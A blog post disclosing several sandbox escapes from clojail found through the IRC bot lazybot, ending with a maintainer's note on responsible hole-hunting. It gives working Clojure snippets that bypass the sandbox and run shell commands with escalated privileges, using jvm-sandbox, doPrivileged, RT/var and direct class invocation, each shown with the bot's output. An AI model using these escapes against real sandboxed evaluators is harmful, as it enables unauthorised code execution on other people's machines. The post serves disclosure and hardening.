Breaking lazybot out of clojail

Seeing lazybot's libs

While in #clojure Tim McCormack answered a question by showing lazybot evaluating loaded-libs. Seeing somnium.congomongo in that list intrigued me. lazybot uses clojail to restrict some actions, yet I had seen people use namespaced functions like clojure.set/map-invert. After some exploring it was possible to gain access to lazybot's database, and even send messages as lazybot with irclj. These were reported and fixed.

No direct shell access

I was curious if there were holes beyond the application layer to shell access.

(:out (clojure.java.shell/sh "whoami"))
<lazybot> java.security.AccessControlException: access denied 
                (java.io.FilePermission <<ALL FILES>> execute)

Lazybot uses clojail and the java security policy to prevent bad things. This exception comes from the java policy and says that file access is turned off, which is used by shell access.

clojail.jvm allowed shell access

However, clojail.jvm contains a function that allows running code with escalated privileges.

(clojail.jvm/jvm-sandbox (fn [] (:out (clojure.java.shell/sh "whoami"))) nil)
<lazybot> ⇒ "raynes\n"

Boom. At this point I'd found a way to get to a shell and run code. It was also possible to use the java.security.AccessController directly in order to do privilege escalation.

(java.security.AccessController/doPrivileged
  (reify java.security.PrivilegedAction
    (run [_] (:out (clojure.java.shell/sh "whoami")))))
(java.security.AccessController/doPrivileged
  (proxy [java.security.PrivilegedAction] []
    (run [] (:out (clojure.java.shell/sh "whoami")))))

Fixed as of:

Now they output one of the following:

<lazybot> java.lang.SecurityException: You tripped the alarm! clojail.jvm is bad!
<lazybot> java.lang.SecurityException: You tripped the alarm! package java.security, Java Platform API Specification, version 1.6 is bad!

Clojure -> Java -> Clojure

Once the direct access of clojail.jvm/jvm-sandbox was blocked, it was time to see if there were other ways to get to it. Fortunately, directly calling resolve was blocked:

(resolve "clojail.jvm/jvm-sandbox")
<lazybot> java.lang.SecurityException: You tripped the alarm! resolve is bad

However, using java interop there were still ways to retrieve the var though clojure.lang.RT.

((clojure.lang.RT/var "clojail.jvm" "jvm-sandbox")
 (fn [] (:out (clojure.java.shell/sh "whoami")))
 nil)))
<lazybot> ⇒ "raynes\n"

Fixed as of:

There were a few other varations of this that were fixed with the 1.0.0 and 1.0.1 releases.

Clojure -> Java -> Clojure (again)

Clojure functions are compiled into classes that are loaded by the jvm. It is possible to instantiate and .invoke them directly. This provided another technique to break access.

(.invoke (clojail.jvm$jvm_sandbox.)
  (fn [] (:out  (clojure.java.shell/sh "whoami"))) nil)
<lazybot> ⇒ "raynes\n"

Fixed as of:

Update your clojail

Since clojail.jvm is sandbox related, the sandboxes that come with clojail will block it. The underlieing techniques of calling it through java interop would have worked for gaining access to the application layer code as well. If you are running a service using clojail, make sure to update to the latest version with these fixes. Also, it is important to blacklist any namespaces in the application that users should not have access to, such as ones with database interactions.

A note from Anthony Grimes

After reading a preview of this, Anthony wanted to add a bit at the end.

Nelson did some excellent work here hunting down issues with clojail. He found some issues that resulted in me changing fundamental aspects of clojail. You'll notice that we're now past 1.0.0, and there are huge breaking changes. I rewrote the entire 'tester' implementation. With Nelson's motivation, we were also able to make clojail immensely faster. It will never run code quite as fast as it would run outside of the sandbox, but clojail now runs code that used to time out in 15 seconds in less than 200 millseconds. I think that's a pretty huge improvement!

I personally want to thank Nelson for spending his time finding these things that I and Alan had missed while writing clojail. His contributions will make everything that uses clojail much safer. Make sure that if you use clojail, you always use the latest version. Always report any bugs/holes you find as quickly as possible so that they can get closed. More importantly, while I appreciate Nelson hunting down these holes, there is an appropriate way to go about it (and he, of course, did). If you plan to go hole hunting, here are a couple of things to remember:

  1. Report the issues. It's okay to hunt them for fun, but if you don't report them, you're leaving it open for other people's real-world applications to get damaged.
  2. It is best for you to use a local copy of clojail for trying things out. Don't abuse websites and public applications (irc bots) without alerting the author first. You may accidentally break something.
  3. You can use lazybot for testing stuff out, but please do so while I am around. Don't try to bring the bot down without asking me first. The bot is in a number of channels that you've probably never heard of doing various good deeds and those people may or may not be able to survive without their dose of lazybot. ;)

Safe evaluation for all!